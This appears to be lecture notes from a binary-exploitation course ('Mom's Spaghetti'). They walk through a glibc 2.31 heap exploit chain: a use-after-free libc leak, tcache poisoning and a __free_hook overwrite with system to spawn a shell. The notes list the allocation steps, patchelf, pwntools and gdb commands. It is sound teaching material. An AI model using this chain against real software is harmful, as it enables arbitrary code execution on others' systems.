Daily Reminder: Mom's Spaghetti

Our compass through all of this is the desire for the following comfort food:

• CONQUER ADDRESS RANDOMIZATION by a USE-AFTER-FREE vulnerability to leak a glibc address
• WRITE-WHAT-WHERE using TCACHE-POISONING for arbitrary writing to glibc
• **CONTROL INSTRUCTION POINTER** by overwriting the FREE_HOOK in glibc with system where "/bin/sh" is written in the free'd chunk

You're babies today and we're going to learn the warmth and love of the dining room table. So that as you venture into the wilderness you'll do your best to recreate this ritual in ever harsher environments.

Targeting the FREE_HOOK

So the last stage of a successful attack is to control the instruction pointer.

The FREE_HOOK is a symbol in glibc (< 2.34) that allows people to implement a custom free function for debugging.

The address at FREE_HOOK is typically 0 but it's a RW- segment so you can edit it to put in a custom version of free.

Our job in the Mom's Spaghetti is to replace the address at FREE_HOOK with the address of system.

THEN we call FREE on a chunk where "/bin/sh" is written.

Class ???: Leak a glibc, compute FREE_HOOK and system, tcache-poisoning for WWW

(Given a USE-AFTER-FREE)

OK what's the samba?

Something like this:

• A = malloc(24)
• B = malloc(24)
• C = malloc(0x421)
• D = malloc(24)
• edit(D, "/bin/sh")// (we'll want this later)
• free(C) // (UNSORTEDBIN -> C -> main_arena)
• view(C) // (this is glibc leak)
• free(A) // (tcache:0x20 -> A)
• free(B) // (tcache:0x20 -> B -> A)
• edit(B, p64(__FREE_HOOK)) // (tcache:0x20 -> B -> FREE_HOOK)
• E=malloc(24) // (E = B)
• F=malloc(24) // (F = FREE_HOOK)
• edit(F, p64(system)) // (now FREE_HOOK is system)
• free(D) // system("/bin/sh")

What can go wrong?

Problem 1: patchelf

So our mom's spaghetti runs on glibc 2.31, so you'll want to patch the binary to use glibc 2.31:

SOLUTION patchelf --set-interpreter ./ld-linux-x86-64.so.2 --set-rpath . binaryname

Problem 2: leaks are hard

Learn how u64 works in pwntools, it consumes the weird unprintable strings and produces the integer leak. Needs 8 bytes though. So something like u64(raw.ljust(8, b"\x00")) maybe.

So we have 3-4 addresses we need to deal with:

• Where our leak lives (main_arena + 96)
• Where in glibc the free_hook lives
• Where in glibc the system lives
• The base of glibc (optional)

SOLUTION 2: info address *

• info address main_arena
• info address __free_hook
• info address system
• vmmap

There are other ways to deal with this kind of thing including:

      
      libc=ELF("./libc.so.6")
      libc.sym.system
      libc.sym.__free_hook
      
    

Appendix

Our HEAP PLAYGROUND:

Heap Reference Guides: